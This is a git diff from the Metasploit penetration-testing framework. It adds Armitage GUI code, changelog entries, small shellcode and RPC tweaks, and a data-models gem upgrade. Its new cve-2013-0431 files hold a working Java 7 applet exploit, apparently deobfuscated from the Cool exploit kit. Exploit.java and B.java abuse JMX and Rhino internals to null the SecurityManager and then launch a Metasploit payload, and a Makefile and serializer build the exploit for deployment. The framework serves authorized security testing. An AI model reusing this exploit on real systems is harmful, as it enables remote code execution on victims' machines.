a/external/source/armitage/src/ui/MultiFrame.java b/external/source/armitage/src/ui/MultiFrame.java new file mode 100644 index 0000000000..ba994e940e --- /dev/null +++ b/external/source/armitage/src/ui/MultiFrame.java @@ -0,0 +1,247 @@ +package ui; + +import javax.swing.*; +import javax.swing.event.*; + +import java.awt.*; +import java.awt.event.*; + +import java.util.*; + +import armitage.ArmitageApplication; +import msf.*; + +/* A class to host multiple Armitage instances in one frame. Srsly */ +public class MultiFrame extends JFrame implements KeyEventDispatcher { + protected JToolBar toolbar; + protected JPanel content; + protected CardLayout cards; + protected LinkedList buttons; + protected Properties prefs; + + private static class ArmitageInstance { + public ArmitageApplication app; + public JToggleButton button; + public RpcConnection client; + } + + public void setPreferences(Properties prefs) { + this.prefs = prefs; + } + + public Properties getPreferences() { + return prefs; + } + + public Map getClients() { + synchronized (buttons) { + Map r = new HashMap(); + + Iterator i = buttons.iterator(); + while (i.hasNext()) { + ArmitageInstance temp = (ArmitageInstance)i.next(); + r.put(temp.button.getText(), temp.client); + } + return r; + } + } + + public void setTitle(ArmitageApplication app, String title) { + if (active == app) + setTitle(title); + } + + protected ArmitageApplication active; + + /* is localhost running? */ + public boolean checkLocal() { + synchronized (buttons) { + Iterator i = buttons.iterator(); + while (i.hasNext()) { + ArmitageInstance temp = (ArmitageInstance)i.next(); + if ("localhost".equals(temp.button.getText())) { + return true; + } + } + return false; + } + } + + public boolean dispatchKeyEvent(KeyEvent ev) { + if (active != null) { + return active.getBindings().dispatchKeyEvent(ev); + } + return false; + } + + public static final void setupLookAndFeel() { + try { + for (UIManager.LookAndFeelInfo info : UIManager.getInstalledLookAndFeels()) { + if ("Nimbus".equals(info.getName())) { + UIManager.setLookAndFeel(info.getClassName()); + break; + } + } + } + catch (Exception e) { + } + } + + public void closeConnect() { + synchronized (buttons) { + if (buttons.size() == 0) { + System.exit(0); + } + } + } + + public void quit() { + synchronized (buttons) { + ArmitageInstance temp = null; + content.remove(active); + Iterator i = buttons.iterator(); + while (i.hasNext()) { + temp = (ArmitageInstance)i.next(); + if (temp.app == active) { + toolbar.remove(temp.button); + i.remove(); + break; + } + } + + if (buttons.size() == 0) { + System.exit(0); + } + else if (buttons.size() == 1) { + remove(toolbar); + validate(); + } + + if (i.hasNext()) { + temp = (ArmitageInstance)i.next(); + } + else { + temp = (ArmitageInstance)buttons.getFirst(); + } + + set(temp.button); + } + } + + public MultiFrame() { + super(""); + + setLayout(new BorderLayout()); + + /* setup our toolbar */ + toolbar = new JToolBar(); + + /* content area */ + content = new JPanel(); + cards = new CardLayout(); + content.setLayout(cards); + + /* setup our stuff */ + add(content, BorderLayout.CENTER); + + /* buttons?!? :) */ + buttons = new LinkedList(); + + /* do this ... */ + setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); + + /* some basic setup */ + setSize(800, 600); + setExtendedState(JFrame.MAXIMIZED_BOTH); + + /* all your keyboard shortcuts are belong to me */ + KeyboardFocusManager.getCurrentKeyboardFocusManager().addKeyEventDispatcher(this); + } + + protected void set(JToggleButton button) { + synchronized (buttons) { + /* set all buttons to the right state */ + Iterator i = buttons.iterator(); + while (i.hasNext()) { + ArmitageInstance temp = (ArmitageInstance)i.next(); + if (temp.button.getText().equals(button.getText())) { + temp.button.setSelected(true); + active = temp.app; + setTitle(active.getTitle()); + } + else { + temp.button.setSelected(false); + } + } + + /* show our cards? */ + cards.show(content, button.getText()); + active.touch(); + } + } + + public void addButton(String title, final ArmitageApplication component, RpcConnection conn) { + synchronized (buttons) { + final ArmitageInstance a = new ArmitageInstance(); + a.button = new JToggleButton(title); + a.button.setToolTipText(title); + a.app = component; + a.client = conn; + + a.button.addActionListener(new ActionListener() { + public void actionPerformed(ActionEvent ev) { + set((JToggleButton)ev.getSource()); + } + }); + + a.button.addMouseListener(new MouseAdapter() { + public void check(MouseEvent ev) { + if (ev.isPopupTrigger()) { + final JToggleButton source = a.button; + JPopupMenu popup = new JPopupMenu(); + JMenuItem rename = new JMenuItem("Rename"); + rename.addActionListener(new ActionListener() { + public void actionPerformed(ActionEvent ev) { + String name = JOptionPane.showInputDialog("Rename to?", source.getText()); + if (name != null) { + content.remove(component); + content.add(component, name); + source.setText(name); + set(source); + } + } + }); + popup.add(rename); + popup.show((JComponent)ev.getSource(), ev.getX(), ev.getY()); + ev.consume(); + } + } + + public void mouseClicked(MouseEvent ev) { + check(ev); + } + + public void mousePressed(MouseEvent ev) { + check(ev); + } + + public void mouseReleased(MouseEvent ev) { + check(ev); + } + }); + + toolbar.add(a.button); + content.add(component, title); + buttons.add(a); + set(a.button); + + if (buttons.size() == 1) { + show(); + } + else if (buttons.size() == 2) { + add(toolbar, BorderLayout.SOUTH); + } + validate(); + } + } +} diff --git a/external/source/armitage/whatsnew.txt b/external/source/armitage/whatsnew.txt index c1e03e579b..01a4364bfc 100644 --- a/external/source/armitage/whatsnew.txt +++ b/external/source/armitage/whatsnew.txt @@ -1,6 +1,58 @@ Armitage Changelog ================== +6 Mar 13 (tested against msf ca43900a7) +-------- +- Active console now gets higher priority when polling msf for output +- Improved team server responsiveness in high latency situations by + creating additional connections to server to balance messages over +- Preferences are now shared among each Armitage connection. + +6 Mar 13 (2000h) +-------- +- Fixed issue with additional team server connections reporting wrong + application and receiving a summary rejection by the team server. + +Cortana Updates (for scripters) +-------- +- Added a &publish, &query, &subscribe API to allow inter-script + communication across the team server. +- Added &table_update to set the contents of a table tab without + disturbing the highlighted rows. +- Added an exec_error event. Fired when &m_exec or &m_exec_local fail + due to an error reported by meterpreter. +- Fixed a bug that sometimes caused session_sync to fire twice (boo!) +- Added a 60s timeout to &s_cmd commands. Cortana will give a shell + command 60s to execute. If it doesn't finish in that time, Cortana + will release the lock on the shell so the user can control it. + (ideally, this shouldn't happen... this is a safety mechanism) +- Changed Meterpreter command timeout to 2m from 12s. This is because + https meterpreter might not checkin for up to 60s, if it's been + idle for a long time. This will make &m_cmd less likely to timeout + +12 Feb 13 (tested against msf 16438) +--------- +- Fixed a corner case preventing the display of removed host labels + when connected to a team server. +- Fixed RPC call cache corruption in team server mode. This bug could + lead to some exploits defaulting to a shell payload when meterpreter + was a possibility. +- Slight optimization to some DB queries. I no longer pull unused + fields making the query marginally faster. Team server is more + efficient too as changes to unused fields won't force data (re)sync. +- Hosts -> Clear Database now clears host labels too. +- Added the ability to manage multiple team server instances through + Armitage. Go to Armitage -> New Connection to connect to another + server. A button bar will appear that allows you to switch active + Armitage connections. + - Credentials available across instances are pooled when using + the [host] -> Login menu and the credential helper. +- Rewrote the event log management code in the team server +- Added nickname tab completion to event log. I feel like I'm writing + an IRC client again. +- Hosts -> Clear Database now asks you to confirm the action. +- Hosts -> Import Hosts announces successful import to event log again. + 23 Jan 13 (tested against msf 16351) --------- - Added helpers to set EXE::Custom and EXE::Template options. diff --git a/external/source/exploits/cve-2013-0431/B.java b/external/source/exploits/cve-2013-0431/B.java new file mode 100755 index 0000000000..fec2767060 --- /dev/null +++ b/external/source/exploits/cve-2013-0431/B.java @@ -0,0 +1,19 @@ +import java.security.AccessController; +import java.security.PrivilegedExceptionAction; + +public class B + implements PrivilegedExceptionAction +{ + public B() + { + try + { + AccessController.doPrivileged(this); } catch (Exception e) { + } + } + + public Object run() { + System.setSecurityManager(null); + return new Object(); + } +} diff --git a/external/source/exploits/cve-2013-0431/Exploit.java b/external/source/exploits/cve-2013-0431/Exploit.java new file mode 100755 index 0000000000..2a399019f3 --- /dev/null +++ b/external/source/exploits/cve-2013-0431/Exploit.java @@ -0,0 +1,93 @@ +/* +* From Paunch with love (Java 1.7.0_11 Exploit) +* +* Deobfuscated from Cool EK by SecurityObscurity +* +* https://twitter.com/SecObscurity +*/ +import java.applet.Applet; +import com.sun.jmx.mbeanserver.Introspector; +import com.sun.jmx.mbeanserver.JmxMBeanServer; +import com.sun.jmx.mbeanserver.MBeanInstantiator; +import java.lang.invoke.MethodHandle; +import java.lang.invoke.MethodHandles.Lookup; +import java.lang.invoke.MethodType; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import javax.management.ReflectionException; +import java.io.*; +import metasploit.Payload; + +public class Exploit extends Applet +{ + + public void init() + { + + try + { + int length; + byte[] buffer = new byte[5000]; + ByteArrayOutputStream os = new ByteArrayOutputStream(); + + // read in the class file from the jar + InputStream is = getClass().getResourceAsStream("B.class"); + + // and write it out to the byte array stream + while( ( length = is.read( buffer ) ) > 0 ) + os.write( buffer, 0, length ); + + // convert it to a simple byte array + buffer = os.toByteArray(); + + Class class1 = gimmeClass("sun.org.mozilla.javascript.internal.Context"); + + Method method = getMethod(class1, "enter", true); + Object obj = method.invoke(null, new Object[0]); + Method method1 = getMethod(class1, "createClassLoader", false); + Object obj1 = method1.invoke(obj, new Object[1]); + + Class class2 = gimmeClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader"); + Method method2 = getMethod(class2, "defineClass", false); + + Class my_class = (Class)method2.invoke(obj1, new Object[] { null, buffer }); + my_class.newInstance(); + + Payload.main(null); + + } + catch (Throwable localThrowable){} + + } + + + private Method getMethod(Class class1, String s, boolean flag) + { + try { + Method[] amethod = (Method[])Introspector.elementFromComplex(class1, "declaredMethods"); + Method[] amethod1 = amethod; + + for (int i = 0; i < amethod1.length; i++) { + Method method = amethod1[i]; + String s1 = method.getName(); + Class[] aclass = method.getParameterTypes(); + if ((s1 == s) && ((!flag) || (aclass.length == 0))) return method; + } + } catch (Exception localException) { } + + return null; + } + + private Class gimmeClass(String s) throws ReflectionException, ReflectiveOperationException + { + Object obj = null; + JmxMBeanServer jmxmbeanserver = (JmxMBeanServer)JmxMBeanServer.newMBeanServer("", null, null, true); + MBeanInstantiator mbeaninstantiator = jmxmbeanserver.getMBeanInstantiator(); + + Class class1 = Class.forName("com.sun.jmx.mbeanserver.MBeanInstantiator"); + Method method = class1.getMethod("findClass", new Class[] { String.class, ClassLoader.class }); + return (Class)method.invoke(mbeaninstantiator, new Object[] { s, obj }); + } + +} + diff --git a/external/source/exploits/cve-2013-0431/Makefile b/external/source/exploits/cve-2013-0431/Makefile new file mode 100644 index 0000000000..43045c9e5a --- /dev/null +++ b/external/source/exploits/cve-2013-0431/Makefile @@ -0,0 +1,22 @@ +# rt.jar must be in the classpath! + +CLASSES = \ + Exploit.java \ + B.java \ + Serializer.java + +.SUFFIXES: .java .class +.java.class: + javac -source 1.2 -target 1.2 -cp "../../../../data/java:." $*.java + +all: $(CLASSES:.java=.class) + +install: + java Serializer + mv Exploit.class ../../../../data/exploits/cve-2013-0431/ + mv B.class ../../../../data/exploits/cve-2013-0431/ + mv Exploit.ser ../../../../data/exploits/cve-2013-0431/ + +clean: + rm -rf *.class + rm -rf *.ser diff --git a/external/source/exploits/cve-2013-0431/Serializer.java b/external/source/exploits/cve-2013-0431/Serializer.java new file mode 100644 index 0000000000..2dc2517937 --- /dev/null +++ b/external/source/exploits/cve-2013-0431/Serializer.java @@ -0,0 +1,20 @@ +import java.io.*; + +public class Serializer { + + public static void main(String [ ] args) + { + try { + Exploit b=new Exploit(); // target Applet instance + ByteArrayOutputStream baos=new ByteArrayOutputStream(); + ObjectOutputStream oos=new ObjectOutputStream(baos); + oos.writeObject(b); + FileOutputStream fos=new FileOutputStream("Exploit.ser"); + fos.write(baos.toByteArray()); + fos.close(); + } catch (Exception ex) { + ex.printStackTrace(); + } + } + +} diff --git a/external/source/gui/msfguijava/src/msfgui/RpcConnection.java b/external/source/gui/msfguijava/src/msfgui/RpcConnection.java index b1b7d2c2ac..8b754c1871 100644 --- a/external/source/gui/msfguijava/src/msfgui/RpcConnection.java +++ b/external/source/gui/msfguijava/src/msfgui/RpcConnection.java @@ -260,7 +260,8 @@ public abstract class RpcConnection { // Don't fork cause we'll check if it dies String rpcType = "Basic"; java.util.List args = new java.util.ArrayList(java.util.Arrays.asList(new String[]{ - "msfrpcd","-f","-P",defaultPass,"-t","Msg","-U",defaultUser,"-a","127.0.0.1"})); + "msfrpcd","-f","-P",defaultPass,"-t","Msg","-U",defaultUser,"-a","127.0.0.1", + "-p",Integer.toString(defaultPort)})); if(!defaultSsl) args.add("-S"); if(disableDb) diff --git a/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm b/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm index 438738a99d..42c717622a 100644 --- a/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm +++ b/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm @@ -49,11 +49,12 @@ httpopenrequest: pop ecx xor edx, edx ; NULL push edx ; dwContext (NULL) - push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200) ; dwFlags + push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags ;0x80000000 | ; INTERNET_FLAG_RELOAD ;0x04000000 | ; INTERNET_NO_CACHE_WRITE ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT - ;0x00000200 ; INTERNET_FLAG_NO_UI + ;0x00000200 | ; INTERNET_FLAG_NO_UI + ;0x00400000 ; INTERNET_FLAG_KEEP_CONNECTION push edx ; accept types push edx ; referrer push edx ; version diff --git a/lib/anemone/rex_http.rb b/lib/anemone/rex_http.rb index ce6a71a17f..f606f289fc 100644 --- a/lib/anemone/rex_http.rb +++ b/lib/anemone/rex_http.rb @@ -188,7 +188,9 @@ module Anemone context, url.scheme == "https", 'SSLv23', - @opts[:proxies] + @opts[:proxies], + @opts[:username], + @opts[:password] ) conn.set_config( diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/Gemfile b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/Gemfile deleted file mode 100755 index b72e01d066..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/Gemfile +++ /dev/null @@ -1,10 +0,0 @@ -source "http://rubygems.org" - -# Specify your gem's dependencies in metasploit_data_models.gemspec -gemspec - -group :test do - # rails is only used for testing with a dummy application in spec/dummy - gem 'rails' - gem 'rspec-rails' -end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/Rakefile b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/Rakefile deleted file mode 100755 index ccea92f08e..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/Rakefile +++ /dev/null @@ -1,7 +0,0 @@ -require 'bundler/gem_tasks' -require 'rspec/core/rake_task' - -RSpec::Core::RakeTask.new(:spec) - -task :default => :spec - diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/cred_file.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/cred_file.rb deleted file mode 100755 index f8bc29d84c..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/cred_file.rb +++ /dev/null @@ -1,8 +0,0 @@ -class Mdm::CredFile < ActiveRecord::Base - # - # Relations - # - belongs_to :workspace, :class_name => 'Mdm::Workspace' - - ActiveSupport.run_load_hooks(:mdm_cred_file, self) -end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/web_vuln.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/web_vuln.rb deleted file mode 100755 index 3d938d3ef9..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/web_vuln.rb +++ /dev/null @@ -1,16 +0,0 @@ -class Mdm::WebVuln < ActiveRecord::Base - # - # Relations - # - - belongs_to :web_site, :class_name => 'Mdm::WebSite' - - # - # Serializations - # - - serialize :params, MetasploitDataModels::Base64Serializer.new - - ActiveSupport.run_load_hooks(:mdm_web_vuln, self) -end - diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/lib/metasploit_data_models/base64_serializer.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/lib/metasploit_data_models/base64_serializer.rb deleted file mode 100755 index b209aa39cc..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/lib/metasploit_data_models/base64_serializer.rb +++ /dev/null @@ -1,35 +0,0 @@ -# 2012-04-23 -# -# Provides ActiveRecord 3.1x-friendly serialization for descendants of -# ActiveRecord::Base. Backwards compatible with older YAML methods and -# will fall back to string decoding in the worst case -# -# usage: -# serialize :foo, MetasploitDataModels::Base64Serializer.new -# -module MetasploitDataModels - class Base64Serializer - def load(value) - return {} if value.blank? - begin - # Load the unpacked Marshal object first - Marshal.load(value.unpack('m').first) - rescue - begin - # Support legacy YAML encoding for existing data - YAML.load(value) - rescue - # Fall back to string decoding - value - end - end - end - - def dump(value) - # Always store data back in the Marshal format - [ Marshal.dump(value) ].pack('m') - end - end -end - - diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/lib/metasploit_data_models/engine.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/lib/metasploit_data_models/engine.rb deleted file mode 100644 index 27f7df2994..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/lib/metasploit_data_models/engine.rb +++ /dev/null @@ -1,7 +0,0 @@ -require 'rails' - -module MetasploitDataModels - class Engine < Rails::Engine - - end -end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/lib/metasploit_data_models/version.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/lib/metasploit_data_models/version.rb deleted file mode 100755 index e68300cf0c..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/lib/metasploit_data_models/version.rb +++ /dev/null @@ -1,7 +0,0 @@ -module MetasploitDataModels - # MetasploitDataModels follows the {Semantic Versioning Specification http://semver.org/}. At this time, the API - # is considered unstable because the database migrations are still in metasploit-framework and certain models may not - # be shared between metasploit-framework and pro, so models may be removed in the future. Because of the unstable API - # the version should remain below 1.0.0 - VERSION = '0.3.0' -end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/lib/base64_serializer_spec.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/lib/base64_serializer_spec.rb deleted file mode 100755 index ace44fcdac..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/lib/base64_serializer_spec.rb +++ /dev/null @@ -1,22 +0,0 @@ -require "spec_helper" - -module MetasploitDataModels - describe Base64Serializer do - subject{Base64Serializer.new} - - let(:test_value){{:foo => "bar", :baz => "baz"}} - - # We make it same way as in class b/c hard to keep a reliable base64 - # string literal as a fixture - let(:base64_fixture){[Marshal.dump(test_value)].pack('m')} - - it "should turn a Hash into proper base64" do - subject.dump(test_value).should == base64_fixture - end - - it "should turn base64 back into a Hash" do - subject.load(base64_fixture).should == test_value - end - end -end - diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/.gitignore b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.gitignore similarity index 78% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/.gitignore rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.gitignore index e5b2a024e4..9cf3f2824c 100755 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/.gitignore +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.gitignore @@ -6,13 +6,19 @@ *.gem # Rubymine project configuration .idea +# logs +*.log # Don't check in rvmrc since this is a gem .rvmrc +# YARD database +.yardoc +# coverage report directory for simplecov/Rubymine +coverage +# generated yardocs +doc # Installed gem versions. Not stored for the same reasons as .rvmrc Gemfile.lock # Packaging directory for builds pkg/* # Database configuration (with passwords) for specs spec/dummy/config/database.yml -# logs -*.log diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/.rspec b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.rspec similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/.rspec rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.rspec diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.simplecov b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.simplecov new file mode 100644 index 0000000000..c46d9aaf94 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.simplecov @@ -0,0 +1,38 @@ +# RM_INFO is set when using Rubymine. In Rubymine, starting SimpleCov is +# controlled by running with coverage, so don't explicitly start coverage (and +# therefore generate a report) when in Rubymine. This _will_ generate a report +# whenever `rake spec` is run. +unless ENV['RM_INFO'] + SimpleCov.start +end + +SimpleCov.configure do + load_adapter('rails') + + # ignore this file + add_filter '.simplecov' + + # + # Changed Files in Git Group + # @see http://fredwu.me/post/35625566267/simplecov-test-coverage-for-changed-files-only + # + + untracked = `git ls-files --exclude-standard --others` + unstaged = `git diff --name-only` + staged = `git diff --name-only --cached` + all = untracked + unstaged + staged + changed_filenames = all.split("\n") + + add_group 'Changed' do |source_file| + changed_filenames.detect { |changed_filename| + source_file.filename.end_with?(changed_filename) + } + end + + # + # Specs are reported on to ensure that all examples are being run and all + # lets, befores, afters, etc are being used. + # + + add_group 'Specs', 'spec' +end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.yardopts b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.yardopts new file mode 100644 index 0000000000..5d51dac244 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.yardopts @@ -0,0 +1,4 @@ +--markup markdown +--protected +{app,lib}/**/*.rb +db/migrate/*.rb \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/Gemfile b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/Gemfile new file mode 100755 index 0000000000..f153705da3 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/Gemfile @@ -0,0 +1,25 @@ +source "http://rubygems.org" + +# Specify your gem's dependencies in metasploit_data_models.gemspec +gemspec + +# used by dummy application +group :development, :test do + # supplies factories for producing model instance for specs + # Version 4.1.0 or newer is needed to support generate calls without the 'FactoryGirl.' in factory definitions syntax. + gem 'factory_girl', '>= 4.1.0' + # auto-load factories from spec/factories + gem 'factory_girl_rails' + # rails is only used for the dummy application in spec/dummy + gem 'rails' +end + +group :test do + # In a full rails project, factory_girl_rails would be in both the :development, and :test group, but since we only + # want rails in :test, factory_girl_rails must also only be in :test. + # add matchers from shoulda, such as validates_presence_of, which are useful for testing validations + gem 'shoulda-matchers' + # code coverage of tests + gem 'simplecov', :require => false + gem 'rspec-rails' +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/LICENSE b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/LICENSE similarity index 97% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/LICENSE rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/LICENSE index 7b9ec00a08..7743a2ea9a 100644 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/LICENSE +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/LICENSE @@ -1,4 +1,4 @@ -Copyright (C) 2012, Rapid7 LLC +Copyright (C) 2012, Rapid7, Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/README.md b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/README.md similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/README.md rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/README.md diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/Rakefile b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/Rakefile new file mode 100755 index 0000000000..8fd6dc482f --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/Rakefile @@ -0,0 +1,34 @@ +#!/usr/bin/env rake +begin + require 'bundler/setup' +rescue LoadError + puts 'You must `gem install bundler` and `bundle install` to run rake tasks' +end + +APP_RAKEFILE = File.expand_path('../spec/dummy/Rakefile', __FILE__) +load 'rails/tasks/engine.rake' + +Bundler::GemHelper.install_tasks + +# +# load rake files like a normal rails app +# @see http://viget.com/extend/rails-engine-testing-with-rspec-capybara-and-factorygirl +# + +pathname = Pathname.new(__FILE__) +root = pathname.parent +rakefile_glob = root.join('lib', 'tasks', '**', '*.rake').to_path + +Dir.glob(rakefile_glob) do |rakefile| + load rakefile +end + +require 'rspec/core' +require 'rspec/core/rake_task' + +# Depend on app:db:test:prepare so that test database is recreated just like in a full rails app +# @see http://viget.com/extend/rails-engine-testing-with-rspec-capybara-and-factorygirl +RSpec::Core::RakeTask.new(:spec => 'app:db:test:prepare') + +task :default => :spec + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/api_key.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/api_key.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/api_key.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/api_key.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/client.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/client.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/client.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/client.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/cred.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/cred.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/cred.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/cred.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/event.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/event.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/event.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/event.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/exploit_attempt.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/exploit_attempt.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/exploit_attempt.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/exploit_attempt.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/exploited_host.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/exploited_host.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/exploited_host.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/exploited_host.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/host.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/host.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/host.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/host.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/host_detail.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/host_detail.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/host_detail.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/host_detail.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/host_tag.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/host_tag.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/host_tag.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/host_tag.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/imported_cred.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/imported_cred.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/app/models/mdm/imported_cred.rb rename to 